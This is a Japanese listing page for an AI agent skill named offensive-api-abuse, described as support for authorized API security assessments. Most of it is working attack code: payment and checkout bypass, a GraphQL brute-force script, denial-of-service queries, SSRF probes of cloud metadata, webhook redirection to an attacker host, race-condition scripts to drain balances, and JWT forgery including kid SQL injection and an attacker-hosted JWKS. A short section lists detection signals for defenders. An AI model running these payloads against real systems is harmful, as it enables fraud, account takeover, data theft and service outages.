mcpField
O
offensive-api-abuse

offensive-api-abuse

github.com/snailsploitセキュリティ9.7k132 回インストール2 週間前に更新
リポジトリ

offensive-api-abuse について

認可された API セキュリティ評価向けのスキルです。業務ロジックの欠陥やエンドポイント間のワークフロー悪用を調べ、検証から影響の記録までを支援します。

主な機能

  1. 01API の範囲とワークフローの把握
  2. 02競合状態のテスト
  3. 03JWT と GraphQL の悪用検査
  4. 04ページネーションと Webhook のテスト
  5. 05API キー漏えいの調査
  6. 06影響に基づく発見事項の記録

活用シーン

  1. 01取引と認可ワークフローの評価
  2. 02GraphQL とページネーション制御のテスト
  3. 03Webhook と JWT の攻撃面の確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-api-abuse

インストール後、Claude Code で/offensive-api-abuseを入力して読み込まれたか確認します。

詳細

API の不正利用と高度なエクスプロイト

API 駆動型アプリケーションのビジネスロジック層を対象とした、許可済みのセキュリティ評価を実施しています。このスキルで扱う攻撃パターンは、アプリケーションのワークフロー、状態遷移、API エンドポイント間の信頼関係を理解する必要があるため、従来の脆弱性スキャナーでは検出できません。目標は、金銭的な操作、正規の経路を介したデータの窃取、ワークフローの不正利用による権限昇格、ロジック層への攻撃によるサービス妨害を可能にする脆弱性を特定することです。

クイックワークフロー

  1. Arjun、ParamSpider、手動での探索を用いて、文書化されていないエンドポイントも含めた API の全体像を把握します。
  2. ビジネスワークフローをモデル化します。複数段階のトランザクション、状態マシン、エンドポイント間の信頼チェーンを特定します。
  3. 並列リクエストの手法を使って、各ワークフローの競合状態をテストします。
  4. JWT を抽出して分析し、アルゴリズムの混同、脆弱な署名、クレームの挿入が可能かどうかを調べます。
  5. GraphQL がある場合は、ブルートフォース攻撃の増幅につながるバッチ処理、DoS を引き起こすクエリの深さ、スキーマ漏えいにつながるイントロスペクションをテストします。
  6. ページネーションを調査し、データ列挙や窃取の機会を探します。
  7. Webhook の設定をテストし、SSRF やコールバックの乗っ取りが可能かどうかを調べます。
  8. クライアントコード、エラーレスポンス、公開リポジトリで API キーの漏えいを探します。
  9. 発見したすべてのエンドポイントで、認可が一貫して適用されていることを確認します。
  10. 金銭的または運用上の影響の見積もりを含め、各発見事項のビジネスへの影響を記録します。

API の連鎖によるビジネスロジックの回避

個々の API エンドポイントは単独では安全でも、それらをつなぐワークフローに悪用可能な隙があると、ビジネスロジックの脆弱性が生じます。想定されるトランザクションの流れをマッピングし、そこから逸脱することで、これらを特定できます。

# E-commerce checkout bypass
# Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm
# Attack: skip payment and go directly to confirm

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "PROD-001", "quantity": 1}' \
  "https://target.example.com/api/v1/cart/items" | jq .

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"coupon_code": "SAVE20"}' \
  "https://target.example.com/api/v1/cart/coupon" | jq .

# Skip payment -- attempt direct order confirmation
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id": "CART-12345"}' \
  "https://target.example.com/api/v1/orders/confirm" | jq .
# Price manipulation: add expensive item for free shipping, calculate, remove it
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "EXPENSIVE-001", "quantity": 1}' \
  "https://target.example.com/api/v1/cart/items"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/cart/calculate"

curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/cart/items/EXPENSIVE-001"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"payment_method": "card_on_file"}' \
  "https://target.example.com/api/v1/cart/pay"
# State manipulation, negative quantities, currency confusion
curl -s -X PATCH -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status": "pending"}' \
  "https://target.example.com/api/v1/orders/ORD-5001"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "PROD-001", "quantity": -1}' \
  "https://target.example.com/api/v1/cart/items"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"amount": 100, "currency": "IDR"}' \
  "https://target.example.com/api/v1/payments"

GraphQL のバッチ処理と不正利用

GraphQL API には、クエリのバッチ処理、イントロスペクション、ネストされたクエリの実行を通じて、レート制限や認可制御を回避できる、特有の攻撃対象領域があります。

# Full introspection query -- extract types and mutations
curl -s -X POST -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' \
  "https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == "OBJECT")'

curl -s -X POST -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query": "{ __schema { mutationType { fields { name args { name type { name kind } } } } } }"}' \
  "https://target.example.com/graphql" | jq '.data.__schema.mutationType.fields[].name'

ブルートフォース攻撃の増幅を目的としたバッチ処理 -- 1 つの HTTP リクエストで複数の認証試行を送信し、リクエスト単位のレート制限を回避します。

#!/usr/bin/env python3
"""GraphQL batching for authentication brute-force amplification."""
import requests, json, sys

TARGET = "https://target.example.com/graphql"
BATCH_SIZE = 50

def run_batch_brute(email, wordlist_path):
    with open(wordlist_path) as f:
        passwords = [line.strip() for line in f if line.strip()]

    for i in range(0, len(passwords), BATCH_SIZE):
        batch = passwords[i:i + BATCH_SIZE]
        payload = [
            {"query": f'mutation a{j} {{ login(email: "{email}", password: "{pwd}") {{ token success }} }}'}
            for j, pwd in enumerate(batch)
        ]
        resp = requests.post(TARGET, json=payload, headers={"Content-Type": "application/json"})
        if resp.status_code == 429:
            print(f"[!] Rate limited at batch index {i}")
            break
        for j, result in enumerate(resp.json()):
            if result.get("data", {}).get("login", {}).get("success"):
                print(f"[+] Valid: {email}:{batch[j]}")
                return
        print(f"  Batch {i // BATCH_SIZE + 1}: {len(batch)} attempts in 1 request")

if __name__ == "__main__":
    run_batch_brute(sys.argv[1], sys.argv[2])
# Query depth exploitation for denial of service
curl -s -X POST -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query": "{ users { posts { comments { author { posts { comments { author { posts { comments { author { name } } } } } } } } } } }"}' \
  "https://target.example.com/graphql"

# Field duplication for response amplification
curl -s -X POST -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query": "{ a1: users { name email } a2: users { name email } a3: users { name email } a4: users { name email } a5: users { name email } a6: users { name email } a7: users { name email } a8: users { name email } a9: users { name email } a10: users { name email } }"}' \
  "https://target.example.com/graphql"

ページネーションの悪用

ページネーションの仕組みは、レコードの総数を漏えいさせたり、カーソルの操作によってデータを露出させたり、適切に制限されていない場合にデータベース全体の列挙を可能にしたりすることがあります。

# Probe pagination boundaries and abuse page size
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/users?page=1&per_page=1" | \
  jq '{total: .total, total_pages: .total_pages, current_page: .page}'

curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/users?page=1&per_page=999999" | jq 'length'

curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/users?page=-1&per_page=100" | jq .
# Cursor-based pagination manipulation
echo "eyJpZCI6MTAwMX0=" | base64 -d  # Decode cursor: {"id":1001}

# Forge a cursor to access arbitrary records
forged_cursor=$(echo -n '{"id":1}' | base64 -w0)
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/users?cursor=${forged_cursor}&limit=100" | jq .

# Sort and filter parameter injection
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/users?sort=password&order=asc" | jq .
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/users?filter[role]=admin" | jq .

Webhook の乗っ取りと SSRF

Webhook の設定を変更し、サーバーから開始されるコールバックを攻撃者が制御するエンドポイントにリダイレクトすると、データの傍受や SSRF が可能になります。

# Register a webhook pointing to your controlled server
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "https://attacker-listener.example.com/webhook",
    "events": ["user.created", "order.completed", "payment.received"],
    "secret": "attacker_secret"
  }' "https://target.example.com/api/v1/webhooks" | jq .

# List existing webhooks to discover internal URLs
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/webhooks" | jq '.[] | {id, url, events}'
# Webhook SSRF: point webhook URL to internal services
internal_targets=(
  "http://127.0.0.1:8080/admin"
  "http://169.254.169.254/latest/meta-data/"
  "http://internal-api.local:3000/health"
  "http://elasticsearch.internal:9200/_cat/indices"
)

for target_url in "${internal_targets[@]}"; do
  resp=$(curl -s -X POST -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d "{\"url\": \"${target_url}\", \"events\": [\"test.ping\"]}" \
    "https://target.example.com/api/v1/webhooks")
  echo "Target: ${target_url} -> $(echo "$resp" | head -c 200)"
done

API トランザクションの競合状態

API が共有状態に対する同時リクエストを適切に直列化できないと、競合状態が発生します。これを悪用して、トランザクションの重複、制限の回避、状態の破損を引き起こします。

#!/usr/bin/env python3
"""Race condition testing for API transaction abuse."""
import asyncio, aiohttp

TARGET = "https://target.example.com/api/v1"
TOKEN = "YOUR_TOKEN"
HEADERS = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"}

async def send_request(session, url, data=None):
    async with session.post(url, json=data, headers=HEADERS) as resp:
        body = await resp.json()
        return {"status": resp.status, "body": body}

async def race_coupon_redeem(coupon_code, n=20):
    """Redeem a single-use coupon multiple times via race condition."""
    async with aiohttp.ClientSession() as session:
        tasks = [send_request(session, f"{TARGET}/cart/coupon",
                              {"coupon_code": coupon_code}) for _ in range(n)]
        results = await asyncio.gather(*tasks)
        successes = [r for r in results if r["status"] == 200]
        print(f"[+] Coupon '{coupon_code}' redeemed {len(successes)}/{n} times")

async def race_balance_transfer(n=20):
    """Drain account by sending parallel transfers exceeding balance."""
    async with aiohttp.ClientSession() as session:
        tasks = [send_request(session, f"{TARGET}/transfers",
                              {"to_account": "ATTACKER-ACCT", "amount": 100, "currency": "USD"})
                 for _ in range(n)]
        results = await asyncio.gather(*tasks)
        successes = [r for r in results if r["status"] in (200, 201)]
        total = sum(r["body"].get("amount", 0) for r in successes)
        print(f"[+] Transfers succeeded: {len(successes)}/{n}, total: {total}")

if __name__ == "__main__":
    asyncio.run(race_coupon_redeem("SINGLE-USE-COUPON"))
    asyncio.run(race_balance_transfer())
# Race condition using GNU parallel with curl
seq 1 20 | parallel -j 20 'curl -s -o /dev/null -w "Request {}: %{http_code}\n" \
  -X POST -H "Authorization: Bearer '"$TOKEN"'" \
  -H "Content-Type: application/json" \
  -d '\''{"coupon_code": "SINGLE-USE"}'\'' \
  "https://target.example.com/api/v1/cart/coupon"'

JWT の操作

JSON Web Token は、認可の判断をクライアント側に委ねていることがよくあります。トークンの生成、検証、暗号実装における弱点を悪用します。

# Decode, algorithm confusion (RS256 -> HS256), and none-algorithm attacks
jwt_tool "$JWT_TOKEN"
jwt_tool "$JWT_TOKEN" -X a  # Algorithm confusion
jwt_tool "$JWT_TOKEN" -X n  # None algorithm

# Manual none-algorithm variants
for alg in "none" "None" "NONE" "nOnE"; do
  header=$(echo -n "{\"alg\":\"${alg}\",\"typ\":\"JWT\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
  payload=$(echo "$JWT_TOKEN" | cut -d. -f2)
  forged="${header}.${payload}."
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer ${forged}" \
    "https://target.example.com/api/v1/users/me")
  echo "Algorithm '${alg}' -> HTTP ${code}"
done
# kid (Key ID) injection -- path traversal and SQL injection
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "/proc/sys/kernel/hostname" -S hs256 -p ""
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "' UNION SELECT 'attacker_secret' -- " -S hs256 -p "attacker_secret"
# jku (JWK Set URL) abuse: generate keypair, host JWKS, forge token
openssl genrsa -out attacker_key.pem 2048
openssl rsa -in attacker_key.pem -pubout -out attacker_pub.pem

python3 -c "
import json, base64
from cryptography.hazmat.primitives.serialization import load_pem_public_key
with open('attacker_pub.pem', 'rb') as f:
    pub = load_pem_public_key(f.read())
n = pub.public_numbers()
jwks = {'keys': [{'kty': 'RSA', 'kid': 'attacker-key-1', 'use': 'sig',
    'n': base64.urlsafe_b64encode(n.n.to_bytes(256, 'big')).rstrip(b'=').decode(),
    'e': base64.urlsafe_b64encode(n.e.to_bytes(3, 'big')).rstrip(b'=').decode()}]}
print(json.dumps(jwks, indent=2))
" > jwks.json

jwt_tool "$JWT_TOKEN" -I \
  -hc jku -hv "https://attacker.example.com/.well-known/jwks.json" \
  -hc kid -hv "attacker-key-1" \
  -S rs256 -pr attacker_key.pem
# Claim tampering with a known or brute-forced secret
jwt_tool "$JWT_TOKEN" -I -pc role -pv admin -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc sub -pv "[email protected]" -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc exp -pv 9999999999 -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc is_admin -pv true \
  -pc permissions -pv '["admin","superuser"]' -S hs256 -p "$KNOWN_SECRET"

API キーの漏えいパターン

API キーは予測可能な経路から漏えいします。すべての露出箇所を体系的に検索します。

# Search public repositories for leaked keys
gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path}' \
  --method GET -f "q=org:target-org api_key OR apikey OR api-key OR secret_key"

gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path, url: .html_url}' \
  --method GET -f "q=org:target-org AKIA OR sk_live OR rk_live"
# Client-side key extraction from JavaScript bundles
curl -s "https://target.example.com/" | \
  grep -oE 'src="[^"]*\.js[^"]*"' | sed 's/src="//;s/"//' | while read -r js_url; do
    echo "=== Scanning: https://target.example.com${js_url} ==="
    curl -s "https://target.example.com${js_url}" | grep -oiE \
      '(api[_-]?key|api[_-]?secret|access[_-]?token|secret[_-]?key)["\x27]?\s*[:=]\s*["\x27][A-Za-z0-9+/=_-]{16,}["\x27]'
done

# Error message key leakage
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"invalid": true}' "https://target.example.com/api/v1/connect" | \
  grep -iE '(key|token|secret|password|credential)'

文書化されていないエンドポイントの発見

本番環境の API では、公開ドキュメントに記載されていないエンドポイントが公開されていることがよくあります。予測可能な命名パターン、デバッグ用ルート、アプリケーションのソース分析を通じて、これらを発見します。

# Parameter discovery with Arjun
arjun -u "https://target.example.com/api/v1/users" -m GET \
  --headers "Authorization: Bearer $TOKEN" -t 10
arjun -u "https://target.example.com/api/v1/users" -m POST \
  --headers "Authorization: Bearer $TOKEN" -t 10

# ParamSpider for URL parameter mining from web archives
paramspider -d target.example.com --exclude woff,css,js,png,svg,jpg,gif
# Endpoint brute-forcing with predictable naming patterns
wordlist=(
  "internal" "debug" "test" "dev" "staging" "beta"
  "admin" "manage" "console" "dashboard" "config"
  "health" "status" "metrics" "graphql" "playground"
  "backup" "export" "import" "batch" "bulk" "webhook"
)

for word in "${wordlist[@]}"; do
  for prefix in "/api/v1" "/api/v2" "/api/internal" "/api" "/_"; do
    code=$(curl -s -o /dev/null -w "%{http_code}" \
      -H "Authorization: Bearer $TOKEN" \
      "${TARGET}${prefix}/${word}")
    [ "$code" != "404" ] && [ "$code" != "000" ] && echo "[${code}] ${prefix}/${word}"
  done
done

# Extract API routes from JavaScript bundles
curl -s "https://target.example.com/static/js/main.js" | \
  grep -oE '["'\'']/api/[a-zA-Z0-9/_-]+["'\'']' | sort -u

リソース枯渇とアルゴリズムの計算量

リクエストの複雑さに対して、サーバー側のコストが不釣り合いに大きい API 操作を標的にします。

# ReDoS via search parameters -- measure response time scaling
for len in 10 20 30 40 50; do
  payload=$(python3 -c "print('a' * ${len} + '!')")
  curl -s -o /dev/null -w "Length ${len}: %{time_total}s\n" \
    -H "Authorization: Bearer $TOKEN" \
    "https://target.example.com/api/v1/search?q=${payload}"
done

# XML entity expansion (Billion Laughs) if XML input accepted
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<data>&lol4;</data>' "https://target.example.com/api/v1/import"

検知/防御側の視点

これらの手法を実行すると、防御側が監視する特定の痕跡が生成されます。

  • ビジネスロジックの悪用では、個々のリクエストは有効なため、シグネチャベースの検知は作動しません。振る舞い分析では、順序どおりでないチェックアウト手順の実行、クーポンコードの並列適用、アプリケーションの状態マシンに反する状態遷移などの逸脱を検知します。トランザクション監視では、報酬の重複、金額が負の送金、通貨の不一致にフラグを立てます。

  • GraphQL のバッチ処理では、異常に大きなリクエストペイロードが生成されます。クエリの複雑さ、深さ、または操作数に制限を設けている API ゲートウェイは、こうしたリクエストをブロックします。開発環境以外からのイントロスペクションクエリは、アラートを発生させます。

  • ページネーションの悪用は、異常なページサイズのリクエストや、大量の連続フェッチとして現れます。DLP システムは、一括データアクセスのパターンにアラートを発します。

  • Webhook の改ざんは、登録監査ログによって検知されます。外向き接続の監視では、予期しない宛先へのコールバックにフラグを立てます。SSRF 防御では、許可リストに照らしてコールバック URL を検証します。

  • 競合状態では、ミリ秒単位の時間枠内に同一のリクエストが集中して発生します。分散トレースでは、同時に行われる状態変更を記録します。データベースログには、シリアライズの失敗が記録されます。

  • JWT 攻撃のうち、アルゴリズムの混同を伴うものでは、認証ミドルウェアのログに予期しないヘッダー値を含むトークンが記録されます。jku/x5u が外部 URL を指すトークンは、URL 検証アラートを発生させます。

  • エンドポイント列挙では、404 が集中して発生し、通常とは異なる URL パスパターンが現れます。WAF は、探索時の試行に含まれるパストラバーサルのパターンにフラグを立てます。


エンゲージメント用チートシート

フェーズアクションツール
調査隠れたパラメーターの列挙Arjun
調査URL パラメーターの調査ParamSpider
調査GraphQL スキーマのイントロスペクションcurl、GraphQL Voyager
調査エンドポイントのブルートフォースカスタムワードリストスクリプト
ロジックAPI の連鎖によるワークフローのバイパスcurl、Burp Repeater
ロジック価格/状態の操作curl の連続実行
ロジック競合状態の悪用Python asyncio/aiohttp、GNU parallel
認証JWT アルゴリズムの混同jwt_tool
認証JWT の kid/jku インジェクションjwt_tool、openssl
認証JWT クレームの改ざんjwt_tool
データページネーションによるデータの持ち出しcurl、Python スクリプト
データGraphQL のバッチ処理によるブルートフォースPython スクリプト
データAPI キーの漏えい検索gh、grep、curl
インフラWebhook の乗っ取り/SSRFcurl
インフラリソースの枯渇curl、Python

主な参考資料

コメント